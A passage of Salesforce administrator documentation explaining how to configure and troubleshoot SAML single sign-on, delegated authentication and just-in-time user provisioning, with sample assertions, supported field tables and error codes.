From this page, you can configure your organization to use single sign-on. You can also set up just-in-time provisioning. Work with your identity provider to properly configure these settings. For more information about single sign-on, see About Single Sign-On on page 630. For more information about just-in-time provisioning, see About Just-In-Time Provisioning. Configuring Single Sign-on To configure SAML settings for single sign-on from your corporate identity provider to Salesforce: 1. 2. 3. 4. 5. 6. 7. Gather information from your identity provider. Provide information to your identity provider. In Salesforce, navigate to Your Name > Setup > Security Controls > Single Sign-On Settings, and click Edit. Select SAML Enabled. You must enable SAML to view the SAML single sign-on settings. Specify the SAML version used by your identity provider. Enter the Issuer. This is often referred to as the entity ID for the identity provider. For the Identity Provider Certificate, use the Browse button to locate and upload the authentication certificate issued by your identity provider. 8. If your identity provider has specific login or logout pages, specify them in Identity Provider Login URL and Identity Provider Logout URL, respectively. 9. For the Custom Error URL, specify the URL of the page users should be directed to if there's an error during SAML login. It must be a publicly accessible page, such as a public site Visualforce page. The URL can be absolute or relative. 10. If you are enabling just-in-time provisioning for security, check User Provisioning Enabled. Note: Just-in-time provisioning requires a Federation ID in the user type. In SAML User ID Type, select Assertion contains the Federation ID from the User object. If your identity provider previously used the Salesforce username, communicate to them that they must use the Federation ID.

11. For the SAML User ID Type, SAML User ID Location, and other values as appropriate, specify the value provided by your identity provider. 12. If your Salesforce organization has domains deployed, specify whether you want to use the base domain (https://saml.salesforce.com) or the custom domain for the Entity ID. You must share this information with your identity provider.

646

Security and Sharing

Viewing Single Sign-On Settings

Tip: Generally, use the custom domain as the entity ID. If you already have single sign-on configured before deploying a domain, the base domain is the entity ID. If you are providing Salesforce to Salesforce services, you must specify the custom domain. 13. Click Save. If your identity provider supports metadata, and if you've configured SAML using version 2.0, you can click Download Metadata to download an XML configuration file to send them, which they can then upload to automatically configure their settings for connecting to your Salesforce organization. After you have configured and saved your SAML settings, test them by trying to access the identity provider's application. Your identity provider directs the user's browser to POST a form containing SAML assertions to the Salesforce login page. Each assertion is verified, and if successful, single sign-on is allowed. If you have difficulty signing on using single sign-on after you have configured and saved your SAML settings, use the SAML Assertion Validator. You may have to obtain a SAML assertion from your identity provider first. If your users are having problems using SAML to login, you can review the SAML login history to determine why they were not able to log in and share that information with your identity provider. If you are using SAML version 2.0, after you've finished configuring SAML, the OAuth 2.0 Token Endpoint field is populated. Use this with the Web single sign-on authentication flow on page 2009 for OAuth 2.0.

See Also:
About Single Sign-On About Just-in-Time Provisioning for SAML Best Practices for Implementing Single Sign-On Viewing Single Sign-On Settings Validating SAML Settings for Single Sign-On Enabling Single Sign-On for Portals Administrator setup guide: Single Sign-On Implementation Guide

Viewing Single Sign-On Settings


Federated Authentication is available in: All Editions Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

After you have configured your Salesforce organization to use SAML, you can view the single sign-on settings. Click Your Name > Setup > Security Controls > Single Sign-on Settings.

647

Security and Sharing

Viewing Single Sign-On Settings

This page lists the details of your SAML configuration. Most of these fields are the same as the fields on the page where you configured SAML. The following fields contain information automatically generated by completing the configuration. The available fields depend on your configuration. Field
Salesforce Login URL

Description For SAML 2.0 only. If you select Assertion contains User's Salesforce username for SAML User ID Type and User ID is in the NameIdentifier element of the Subject statement for SAML User ID Location, this URL is the URL associated with login for the Web single sign-on OAuth assertion flow. See SAML Assertion Flow on page 2009

Salesforce Logout URL For SAML 2.0. Displays the Salesforce logout URL that the user is directed to after he or she logs off. This URL is only used if no value is specified for Identity Provider Logout URL. OAuth 2.0 Token Endpoint

For SAML 2.0 only: The ACS URL used with enabling Salesforce as an identity provider in the Web single sign-on OAuth assertion flow. See SAML Assertion Flow on page 2009.

From this page you can do any of the following: Click Edit to change the existing SAML configuration. Click SAML Assertion Validator to validate the SAML settings for your organization using a SAML assertion provided by your identity provider. If your identity provider supports metadata, and if you've configured SAML using version 2.0, you can click Download Metadata to download an XML configuration file to send them, which they can then upload to automatically configure their settings for connecting to your Salesforce organization.

See Also:
About Single Sign-On Configuring SAML Settings for Single Sign-On Best Practices for Implementing Single Sign-On Viewing Single Sign-On Settings Validating SAML Settings for Single Sign-On Administrator setup guide: Single Sign-On Implementation Guide

Validating SAML Settings for Single Sign-On

648

Security and Sharing

Validating SAML Settings for Single Sign-On

Federated Authentication is available in: All Editions Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

If your users have difficulty logging into Salesforce after you configure Salesforce for single sign-on, use the SAML Assertion Validator and the login history to validate the SAML assertions sent by your identity provider. 1. Obtain a SAML assertion from your identity provider. The assertion can be either in plain XML format or a base64 encoded. If a user tries to log in to Salesforce and fails, the invalid SAML assertion is used to automatically populate the SAML Assertion Validator if possible. 2. Click Your Name > Setup > Security Controls > Single Sign-On Settings, then click SAML Assertion Validator. 3. Enter the SAML assertion into the text box, and click Validate. 4. Share the results of the validation errors with your identity provider.

See Also:
About Single Sign-On Configuring SAML Settings for Single Sign-On Best Practices for Implementing Single Sign-On Enabling Single Sign-On for Portals Administrator setup guide: Single Sign-On Implementation Guide

SAML Assertion Validation Errors

649

Security and Sharing

Validating SAML Settings for Single Sign-On

Federated Authentication is available in: All Editions Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

Salesforce imposes the following validity requirements on assertions: Authentication Statement The identity provider must include an <AuthenticationStatement> in the assertion. Conditions Statement If the assertion contains a <Conditions> statement, it must contain a valid timestamp. Timestamps The validity period specified in an assertion is honored. In addition, an assertion's timestamp must be less than five minutes old, plus or minus three minutes, regardless of the assertion's validity period setting. This allows for differences between machines. The NotBefore and NotOnOrAfter constraints must also be defined and valid. Attribute If your Salesforce configuration is set to User ID is in an Attribute element, the assertion from the identity provider must contain an <AttributeStatement>. If you are using SAML 1.1, both <AttributeName> and <AttributeNamespace> are required as part of the <AttributeStatement>. If you are using SAML 2.0, only <AttributeName> is required. Format The Format attribute of an <Issuer> statement must be set to
"urn:oasis:names:tc:SAML:2.0:nameid-format:entity" or not set at all.

For example:
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">https://www.salesforce.com</saml:Issuer>

The following example is also valid:


<saml:Issuer >https://www.salesforce.com</saml:Issuer>

650

Security and Sharing

Validating SAML Settings for Single Sign-On

Issuer The issuer specified in an assertion must match the issuer specified in Salesforce. Subject The subject of the assertion must be resolved to be either the Salesforce username or the Federation ID of the user. Audience The <Audience> value is required and must match the Entity ID from the single sign-on configuration. The default value is https://saml.salesforce.com. Recipient The recipient specified in an assertion must match either the Salesforce login URL specified in the Salesforce configuration or the OAuth 2.0 token endpoint. This is a required portion of the assertion and is always verified. Signature A valid signature must be included in the assertion. The signature must be created using the private key associated with the certificate that was provided in the SAML configuration. Recipient Verifies that the recipient and organization ID received in the assertion matches the expected recipient and organization ID, as specified in the single sign-on configuration. This is an optional portion of the assertion and is only verified if it's present. For example:
Recipient that we found in the assertion: http://aalbert-salesforce.com:8081/ ?saml=02HKiPoin4zeKLPYxfj3twkPsNSJF3fxsH0Jnq4vVeQr3xNkIWmZC_IVk3 Recipient that we expected based on the Single Sign-On Settings page: http://asmith.salesforce.com:8081/ ?saml=EK03Almz90Cik_ig0L97.0BRme6mT4o6nzi0t_JROL6HLbdR1WVP5aQO5w Organization Id that we expected: 00Dx0000000BQlI Organization Id that we found based on your assertion: 00D000000000062

Site URL Attribute Verifies if a valid Sites URL is provided. Values are: Not Provided Checked Site URL is invalid HTTPS is required for Site URL The specified Site is inactive or has exceeded its page limit

Reviewing the SAML Login History

651

Security and Sharing

Reviewing the SAML Login History

Federated Authentication is available in: All Editions Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

When a user logs in to Salesforce from another application using single sign-on, SAML assertions are sent to the Salesforce login page. The assertions are checked against assertions in the authentication certificate specified in Your Name > Setup > Security Controls > Single Sign-On Settings. If a user fails to log in, a message is written to the login history log that indicates why the login failed. In addition, the SAML Assertion Validator may be automatically populated with the invalid assertion. To view the login history, click Your Name > Setup > Users > Login History. After viewing the login history you may want to share the information with your identity provider. The following are the possible failures: Assertion Expired An assertion's timestamp is more than five minutes old. Note: Salesforce does make an allowance of three minutes for clock skew. This means, in practice, that an assertion can be as much as eight minutes passed the timestamp time, or three minutes before it. This amount of time may be less if the assertion's validity period is less than five minutes. Assertion Invalid An assertion is not valid. For example, the <Subject> element of an assertion might be missing. Audience Invalid The value specified in <Audience> must be https://saml.salesforce.com Configuration Error/Perm Disabled Something is wrong with the SAML configuration in Salesforce. For example, the uploaded certificate might be corrupted, or the organization preference might have been turned off. Check your configuration in Your Name > Setup > Security Controls > Single Sign-On Settings, get a sample SAML assertion from your identity provider, and click SAML Assertion Validator. Issuer Mismatched The issuer or entity ID specified in an assertion does not match the issuer specified in your Salesforce configuration. Recipient Mismatched The recipient specified in an assertion does not match the recipient specified in your Salesforce configuration.

652

Security and Sharing

Best Practices for Implementing Single Sign-On

Replay Detected The same assertion ID was used more than once. Assertion IDs must be unique within an organization. Signature Invalid The signature in an assertion cannot be validated by the certificate in your Salesforce configuration. Subject Confirmation Error The <Subject> specified in the assertion does not match the SAML configuration in Salesforce.

Best Practices for Implementing Single Sign-On


Federated Authentication is available in: All Editions Delegated Authentication is available in: Professional, Enterprise, Unlimited, Developer and Database.com Editions Customer Portals and partner portals are not available in Database.com

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

Salesforce offers the following ways to use single sign-on: Federated authentication using Security Assertion Markup Language (SAML): When federated authentication is enabled, salesforce.com does not validate a user's password. Instead, salesforce.com verifies an assertion in the HTTP POST request, and allows single sign-on if the assertion is true. This is the default form of single sign-on. Federated authentication is available in all Editions. Delegated authentication: When delegated authentication is enabled, salesforce.com does not validate a user's password. Instead, salesforce.com makes a Web services call to your organization to establish authentication credentials for the user. You must request that this feature be enabled by salesforce.com. Contact salesforce.com to enable delegated authentication single sign-on for your organization.

In addition, you can also configure SAML for use with portals as well as for Sites. Delegated Authentication Best Practices Consider the following best practices when implementing delegated authentication single sign-on for your organization. Your organizations implementation of the Web service must be accessible by salesforce.com servers. This means you must deploy the Web service on a server in your DMZ. Remember to use your servers external DNS name when entering the Delegated Gateway URL in the Delegated authentication section at Your Name > Setup > Security Controls > Single Sign-On Settings in Salesforce. If salesforce.com and your system cannot connect, or the request takes longer than 10 seconds to process, the login attempt fails. An error is reported to the user indicating that his or her corporate authentication service is down.

653

Security and Sharing

Best Practices for Implementing Single Sign-On

Namespaces, element names, and capitalization must be exact in SOAP requests. Wherever possible, generate your server stub from the WSDL to ensure accuracy. For security reasons, you should make your Web service available by SSL only. You must use an SSL certificate from a trusted provider, such as Verisign or Thawte. For a full list of trusted providers, contact salesforce.com. The IP address that originated the login request is sourceIp. Use this information to restrict access based on the users location. Note that the Salesforce feature that validates login IP ranges continues to be in effect for single sign-on users. For more information, see Setting Login Restrictions on page 522. You may need to map your organizations internal usernames and Salesforce usernames. If your organization does not follow a standard mapping, you may be able to extend your user database schema (for example, Active Directory) to include the Salesforce username as an attribute of a user account. Your authentication service can then use this attribute to map back to a user account. We recommend that you do not enable single sign-on for system administrators. If your system administrators are single sign-on users and your single sign-on server has an outage, they have no way to log in to Salesforce. System administrators should always be able to log in to Salesforce so they can disable single sign-on in the event of a problem. We recommend that you use a Developer Edition account or a sandbox when developing a single sign-on solution before implementing it in your organization. To sign up for a free Developer Edition account, go to developer.force.com. Make sure to test your implementation with Salesforce clients such as Salesforce for Outlook, Connect for Office, and Connect Offline. For more information, see Single Sign-On for Salesforce clients.

Federated Authentication using SAML Best Practices Consider the following best practices when implementing federated single sign-on with SAML for your organization. Obtain the Recipient URL value from the configuration page and put it in the corresponding configuration parameter of your Identity Provider. Your identity provider must allow you to set the Service Provider's Audience URL, and it must be set to https://saml.salesforce.com. Salesforce allows a maximum of three minutes for clock skew with your IDP server, make sure your server's clock is up-to-date. If you are unable to log in with SAML assertion, always check the login history and note the error message. You need to map your organizations internal usernames and Salesforce usernames. You have two choices to do this: add a unique identifier to the FederationIdentifier field of each Salesforce user, or extend your user database schema (for example, Active Directory) to include the Salesforce username as an attribute of a user account. Choose the corresponding option for the SAML User ID Type field and configure your authentication service to send the identifier in SAML assertions. Before allowing users to log in with SAML assertions, enable the SAML organization preference and provide all the necessary configurations. We recommend that you use Developer Edition account or a sandbox when testing a SAML single sign-on solution. To sign up for a free Developer Edition account, go to developer.force.com. All sandbox copies are made with federated authentication with SAML disabled. Any configuration information is preserved, except the value for Recipient URL changes to http://tapp0.salesforce.com. The Recipient URL is updated to match your sandbox URL, for example http://cs1.salesforce.com, after you re-enable SAML. To enable SAML in the sandbox copy, click Your Name > Setup > Security Controls > Single Sign-On Settings; then click Edit, and select SAML Enabled. Your identity provider must allow you to set the service provider's audience URL. The value must match the Entity ID value in the single sign-on configuration. The default value is https://saml.salesforce.com.

Single Sign-On for Portals Best Practices Only SAML version 2.0 can be used with portals. Only Customer Portals and partner portals are supported. Service provider initiated login is not supported.

654

Security and Sharing

Enabling Single Sign-On for Portals

Both the portal_id and organization_id attributes are required for single sign-on for portals. If only one is specified, the user receives an error. If both the portal_id and organization_id attributes are populated in the SAML assertion, the user is directed to that portal login. If neither is populated, the user is directed to the regular SAML Salesforce login. More than one portal can be used with a single organization.

Single Sign-On for Sites Best Practices Only SAML version 2.0 can be used with Sites. Only Customer Portals and partner portals are supported. Service provider initiated login is not supported. The portal_id, organization_id and siteUrl attributes are required for single sign-on for Sites. If only one is specified, the user receives an error. If all three of the portal_id, organization_id and siteUrl attributes are populated in the SAML assertion, the user is directed to that Sites login. If the siteUrl isn't populated and the other two are, the user is directed to that portal login. More than one portal can be used with a single organization.

See Also:
About Single Sign-On Administrator setup guide: Single Sign-On Implementation Guide

Enabling Single Sign-On for Portals


Customer Portal is available in: Enterprise, Unlimited, and Developer Editions Partner Portal is available in: Enterprise and Unlimited Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

Single sign-on is a process that allows network users to access all authorized network resources without having to log in separately to each resource. Single sign-on allows you to validate usernames and passwords against your corporate user database or other client application rather than having separate user passwords managed by Salesforce. You can set up Customer Portals and partner portals to use SAML single sign-on, so that a customer only has to login once. Note: Single sign-on with portals is only supported for SAML 2.0.

655

Security and Sharing

Enabling Single Sign-On for Sites

To enable single sign-on for portals: 1. In addition to the SAML sign-on information that must be gathered and shared with your identity provider, you must supply your information provider with the Organization ID and the Portal ID. In the SAML assertion that is sent from your identity provider, the portal_id and organization_id must be added as attributes. Note: You can leave these attributes blank to differentiate between portal and platform users. For example, when blank, the user is a regular platform user and when populated, the user is a portal user. a. Click Your Name > Setup > Company Profile > Company Information and copy the ID located in the Salesforce Organization ID. b. For Customer Portals, click Your Name > Setup > Customize > Customer Portal > Settings, click the name of the Customer Portal, and copy the ID located in the Portal ID. c. For partner portals, click Your Name > Setup > Customize > Partners > Settings, click the name of the partner portal, and copy the ID located in the salesforce.com Portal ID.

See Also:
About Single Sign-On Configuring SAML Settings for Single Sign-On Best Practices for Implementing Single Sign-On Partner Portal Overview Setting Up Your Customer Portal

Enabling Single Sign-On for Sites


Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed To create and edit Force.com sites: Customize Application

Single sign-on is a process that allows network users to access all authorized network resources without having to log in separately to each resource. Single sign-on allows you to validate usernames and passwords against your corporate user database or other client application rather than having separate user passwords managed by Salesforce. You can set up Sites to use SAML single sign-on, so that a customer only has to login once. To enable single sign-on for Sites using an identity provider: 1. 2. 3. 4. Set up either a Customer Portal or a partner portal. Set up your Sites. If you are using the Customer Portal, set up your Sites to use Customer Portal. In addition to the SAML sign-on information that must be gathered and shared with your identity provider, you must supply your information provider with the following:

656

Security and Sharing

Enabling Single Sign-On for Sites

Organization ID Portal ID Sites URL

The following must be added as attributes to the SAML assertion sent from your identity provider:
organization_id portal_id siteurl

To find these values: a. Click Your Name > Setup > Company Profile > Company Information and copy the ID located in the Salesforce Organization ID. b. For the Customer Portal, click Your Name > Setup > Customize > Customer Portal > Settings, click the name of the Customer Portal, and copy the ID located in the Portal ID. For partner portals, click Your Name > Setup > Customize > Partners > Settings, click the name of the partner portal, and copy the ID located in the salesforce.com Portal ID. c. Click Your Name > Setup > Develop > Sites, click the name of the Site, then copy the URL either located in the Default Web Address, the Secure Web Address, or the Custom Web Address, depending on which one you want your users to use when logging into Salesforce. Service Provider Initiated SAML for Sites Salesforce automatically provides single sign-on for Sites using SAML for when your company's identity provider initiates login. If you wanted to use SAML for Sites for when a service provider initiates sign-on, you must first create a Visualforce page that provides a redirect to your server. The following is an example:
<apex:page showHeader="false" sidebar="false"> <script> var PingSpURL = "https://my.pingserver.com:9031/idp/startSSO.ping?PartnerSpId=salesforce.com.sp"; var siteLoginPage = "&TargetResource={!$Site.CurrentSiteUrl}siteLogin?startUrl={!$Site.OriginalUrl}"; window.location = PingSpURL+siteLoginPage; </script> </apex:page>

See Also:
About Single Sign-On Configuring SAML Settings for Single Sign-On Best Practices for Implementing Single Sign-On Force.com Sites Overview Partner Portal Overview Setting Up Your Customer Portal

Understanding Delegated Authentication Single Sign-On


657

Security and Sharing

Understanding Delegated Authentication Single Sign-On

Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

Salesforce uses the following process for authenticating users using delegated authentication single sign-on: 1. When a user tries to log ineither online or using the APISalesforce validates the username and checks the users permissions and access settings. 2. If the user has the Is Single Sign-On Enabled user permission, then Salesforce does not validate the username and password. Instead, a Web services call is made to the users organization, asking it to validate the username and password. Note: Salesforce doesn't store, log, or view the password in any way. It is disposed of immediately once the process is complete. 3. The Web services call passes the username, password, and sourceIp to your Web service. (sourceIp is the IP address that originated the login request. You must create and deploy an implementation of the Web service that can be accessed by salesforce.com servers.) 4. Your implementation of the Web service validates the passed information and returns either true or false. 5. If the response is true, then the login process continues, a new session is generated, and the user proceeds to the application. If false is returned, then the user is informed that his or her username and password combination is invalid. Note: System administrators should have single sign-on disabled. If your system administrators were single sign-on users and your single sign-on server had an outage, the administrators would have no way to log in to Salesforce. System administrators should always be able to log in to Salesforce so that they can disable single sign-on in the event of a problem. All users, except those with the System Administrator profile, have delegated authentication enabled by default in Professional Edition.

See Also:
Configuring Salesforce for Delegated Authentication Example SAML Assertions About Single Sign-On Best Practices for Implementing Single Sign-On Administrator setup guide: Single Sign-On Implementation Guide

Configuring Salesforce for Delegated Authentication

658

Security and Sharing

Understanding Delegated Authentication Single Sign-On

Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view the settings: To edit the settings: View Setup and Configuration Customize Application AND Modify All Data

To enable delegated authentication single sign-on (SSO) for your organization: 1. Contact salesforce.com to enable delegated authentication single sign-on for your organization. 2. Build your single sign-on Web service: a. In Salesforce, download the Web Services Description Language (WSDL) file, AuthenticationService.wsdl, by clicking Your Name > Setup > Develop > API > Download Delegated Authentication WSDL. The WSDL describes the delegated authentication single sign-on service and can be used to automatically generate a server-side stub to which you can add your specific implementation. For example, in the WSDL2Java tool from Apache Axis, you can use the --server-side switch. In the wsdl.exe tool from .NET, you can use the /server switch. For a sample request and response, see Sample SOAP Message for Delegated Authentication on page 640. b. Add a link to your corporate intranet or other internally-accessible site that takes the authenticated users credentials and passes them through an HTTP POST to the Salesforce login page. Because Salesforce does not use the password field other than to pass it back to you, you do not need to send a password in this field. Instead, you could pass another authentication token, such as a Kerberos Ticket so that your actual corporate passwords are not passed to or from Salesforce. You can configure the Salesforce delegated authentication authority to allow only tokens or to accept either tokens or passwords. If the authority only accepts tokens, a Salesforce user cannot log in to Salesforce directly, because they cannot create a valid token. However, many companies choose to allow both tokens and passwords. In this environment, a user could still log in to Salesforce through the login page. When the salesforce.com server passes these credentials back to you in the Authenticate message, verify them, and the user will gain access to the application. 3. In Salesforce, specify your organizations single sign-on gateway URL by clicking Your Name > Setup > Security Controls > Single Sign-On Settings > Edit. Enter the URL in the Delegated Gateway URL text box. For security reasons, Salesforce restricts the outbound ports you may specify to one of the following: 80: This port only accepts HTTP connections. 443: This port only accepts HTTPS connections. 102466535 (inclusive): These ports accept HTTP or HTTPS connections.

4. Optionally, check the Force Delegated Authentication Callout box.

659

Security and Sharing

About Just-in-Time Provisioning for SAML

Note: When this box is unchecked, a call is not made to the SSO endpoint if the login attempt first fails because of login restrictions within the Salesforce organization. If you must record every login attempt, then check this box to force a callout to the SSO endpoint regardless of login restriction failures. 5. Enable the Is Single Sign-On Enabled permission. For more information, see Overview of User Permissions and Access on page 525. Important: If single sign-on is enabled for your organization, API and desktop client users can't log into Salesforce unless their IP address is included on your organization's list of trusted IP addresses or on their profile, if their profile has IP address restrictions set. Futhermore, the single sign-on authority usually handles login lockout policies for users with the Is Single Sign-On Enabled permission. However, if the security token is enabled for your organization, then your organization's login lockout settings determine the number of times a user can attempt to log in with an invalid security token before being locked out of Salesforce. For more information, see Setting Login Restrictions on page 522. For information on how to view login errors, see Viewing Single Sign-On Login Errors on page 566.

See Also:
Understanding Delegated Authentication Single Sign-On About Single Sign-On Example SAML Assertions

JUST-IN-TIME PROVISIONING
About Just-in-Time Provisioning for SAML
Available in: All Editions

With Just-in-Time provisioning, you can use a SAML assertion to create regular and portal users on the fly the first time they try to log in. This eliminates the need to create user accounts in advance. For example, if you recently added an employee to your organization, you don't need to manually create the user in Salesforce. When they log in with single sign-on, their account is automatically created for them, eliminating the time and effort with on-boarding the account. Just-in-Time provisioning works with your SAML identity provider to pass the correct user information to Salesforce in a SAML 2.0 assertion. You can both create and modify accounts this way. Because Just-in-Time provisioning uses SAML to communicate, your organization must have SAML-based single sign-on enabled. Benefits of Just-in-Time Provisioning Implementing Just-in-Time provisioning can offer the following advantages to your organization. Reduced Administrative Costs: Provisioning over SAML allows customers to create accounts on-demand, as part of the single sign-on process. This greatly simplifies the integration work required in scenarios where users need to be dynamically provisioned, by combining the provisioning and single sign-on processes into a single message. Increased User Adoption: Users only need to memorize a single password to access both their main site and Salesforce. Users are more likely to use your Salesforce application on a regular basis.

660

Security and Sharing

About Just-in-Time Provisioning for SAML

Increased Security: Any password policies that you have established for your corporate network are also in effect for Salesforce. In addition, sending an authentication credential that is only valid for a single use can increase security for users who have access to sensitive data.

See Also:
Just-in-Time Provisioning Requirements Just-in-Time Provisioning for Portals Just-in-Time Provisioning Errors Example SAML Assertions About Single Sign-On

Just-in-Time Provisioning Requirements


Just-in-Time provisioning requires the creation of a SAML assertion. Consider the following when creating your SAML assertion.
Provision Version is supported as an optional attribute. If it isn't specified, the default is 1.0. For example:
<saml:Attribute Name="ProvisionVersion" NameFormat= "urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">1.0</saml:AttributeValue> </saml:Attribute>

ProfileIDs change per organization, even for standard profiles. To make it easier to find the profile name, Salesforce allows you to do a profile name lookup by passing the ProfileName into the ProfileId field.

Field Requirements for the SAML Assertion To correctly identify which object to create in Salesforce, you must use the User. prefix for all fields passed in the SAML assertion. In this example, the User. prefix has been added to the Username field name.
<saml:Attribute Name="User.Username" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">testuser@123.org</saml:AttributeValue> </saml:Attribute>

The following standard fields are supported. Fields


AboutMe Alias CallCenter City CommunityNickname CompanyName

Required

Comments

If not present, a default is derived from FirstName and LastName.

If not present, a default is derived from the UserName.

661

Security and Sharing

About Just-in-Time Provisioning for SAML

Fields
Country DefaultCurrencyIsoCode DelegatedApproverId Department Division Email EmailEncodingKey EmployeeNumber Extension Fax FederationIdentifier (insert

Required

Comments

Derived from organization settings.

Y If not present, a default is derived from the organization settings.

only)
FirstName ForecastEnabled IsActive LastName LanguageLocaleKey LocaleSidKey Manager MobilePhone Phone ProfileId ReceivesAdminInfoEmails ReceivesInfoEmails State Street TimeZoneSidKey Title Username (insert only) UserRoleId Zip

If present, it must match the SAML subject, or the SAML subject is taken instead. Can't be updated with SAML.

If not present, a default is derived from the organization settings.

If not present, a default is derived from the organization settings.

Can't update using SAML. Defaults to no role if blank.

Other field requirements:

662

Security and Sharing

About Just-in-Time Provisioning for SAML

Only text type custom fields are supported. Only the insert and update functions are supported for custom fields. When using the API for user creation, you can pass the new username into the User.Username field. You can also specify the User.FederationIdentifier if it is present. However, the Username and FederationIdentifier fields can't be updated with API.

See Also:
About Just-in-Time Provisioning for SAML Just-in-Time Provisioning for Portals Just-in-Time Provisioning Errors Example SAML Assertions About Single Sign-On

Just-in-Time Provisioning for Portals


With Just-in-Time (JIT) provisioning for portals, you can use a SAML assertion to create customer and partner portal users on the fly the first time they try to log in. This eliminates the need to create user accounts in advance. Because JIT uses SAML to communicate, your organization must have SAML-based single sign-on enabled. Creating Portal Users The Portal ID and Organization ID must be specified as part of the SAML assertion. You can find both of these on the company information page for the organization or portal. Because you can also provision regular users, thePortal ID is used to distinguish between a regular and portal JIT provisioning request. If no Portal ID is specified, then the request is treated as a JIT request for regular platform user. Here are the requirements for a creating a portal user. A Federation ID must be specified. If the specified ID isn't found, a new user is created. If the specified ID is found, the user is updated. You must pass a valid Account ID and Contact ID. If the portal isn't self-registration enabled and a default new user profile and role aren't specified, the User.ProfileId field must contain a valid profile name or ID associated with the portal. In addition, the User.PortalRole field must contain a valid portal role name or ID. Note: The User.Role must be null.

Creating and Modifying Accounts Create or modify an account by specifying a valid Account ID or both the Account.Number and Account.Name. Matching is based on Account.Number. If multiple accounts are found, an error is displayed. Otherwise, the account is updated. If no matching account is found, one is created. You must specify the Account.Owner in the SAML assertion and ensure that the field level security for the Account.Number field is set to visible for this owner's profile.

663

Security and Sharing

About Just-in-Time Provisioning for SAML

Creating and Modifying Contacts Create or modify a contact by specifying the a valid Contact ID in User.Contact or both the Contact.Email and Contact.LastName. Matching is based on Contact.Email. If multiple contacts are found, an error is displayed. Otherwise, the contact is updated. If no matching contact is found, one is created.

Supported Fields for the Portal SAML Assertion To correctly identify which object to create in Salesforce, you must use a prefix. In the SAML assertion, use the Account. prefix for all fields in the Account schema and Contact. prefix for all fields in the Contact schema. In this example, the Contact. prefix has been added to the Email field name.
<saml:Attribute Name="Contact.Email" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified"> <saml:AttributeValue xsi:type="xs:anyType">testuser@123.org</saml:AttributeValue> </saml:Attribute>

In addition to the standard fields on page 661 supported for regular SAML JIT users, these fields are supported for accounts. Fields
Billing AnnualRevenue Description Fax FederationIdentifier (insert

Required

Comments Street|City|State|PostalCode|Country

only)
IsCustomerPortal IsPartner NumberOfEmployees Ownership Phone Portal Role Rating Street TickerSymbol UserRoleId Website Zip

If present, it must match the SAML subject or the SAML subject is taken instead. Can't be updated using SAML.

Defaults to no role if blank.

In addition to the standard fields on page 661 supported for regular SAML JIT users, these fields are supported for contacts.

664

Security and Sharing

About Just-in-Time Provisioning for SAML

Fields
Birthdate CanAllowPortalSelfReg Department Description DoNotCall Fax FederationIdentifier (insert

Required

Comments

Name|Phone

only)
HasOptedOutofEmail HasOptedOutofFax HomePhone LeadSource Mailing MobilePhone Owner Other OtherPhone Phone Salutation Title

If present, it must match the SAML subject or the SAML subject is taken instead. Can't be updated using SAML.

Street|City|State|PostalCode|Country

Street|City|State|PostalCode|Country

See Also:
About Just-in-Time Provisioning for SAML Just-in-Time Provisioning Errors Example SAML Assertions About Single Sign-On

Just-in-Time Provisioning Errors


This table shows the error codes for Just-in-Time provisioning for SAML. Errors are returned in the URL parameter, for example:
http://login.salesforce.com/identity/jit/saml-error.jsp? ErrorCode=5&ErrorDescription=Unable+to+create+user&ErrorDetails= INVALID_OR_NULL_FOR_RESTRICTED_PICKLIST+TimeZoneSidKey

665

Security and Sharing

About Just-in-Time Provisioning for SAML

Note: Salesforce redirects the user to a custom error URL if one is specified in your SAML configuration. For more information on setting a custom error URL, see Configuring SAML Settings for Single Sign-On. Error Messages Code 1 2 3 4 5 6 8 9 11 12 13 14 15 16 17 18 19 20 22 23 24 25 26 27 28 30 31 Description Missing Federation Identifier Mis-matched Federation Identifier Invalid organization ID Unable to acquire lock Unable to create user Unable to establish admin context Unrecognized custom field Unrecognized standard field License limit exceeded Error Details MISSING_FEDERATION_ID MISMATCH_FEDERATION_ID INVALID_ORG_ID USER_CREATION_FAILED_ON_UROG USER_CREATION_API_ERROR ADMIN_CONTEXT_NOT_ESTABLISHED UNRECOGNIZED_CUSTOM_FIELD UNRECOGNIZED_STANDARD_FIELD LICENSE_LIMIT_EXCEEDED

Federation ID and username do not match MISMATCH_FEDERATION_ID_AND_USERNAME_ATTRS Unsupported provision API version Username change isn't allowed Custom field type isn't supported UNSUPPORTED_VERSION USER_NAME_CHANGE_NOT_ALLOWED UNSUPPORTED_CUSTOM_FIELD_TYPE

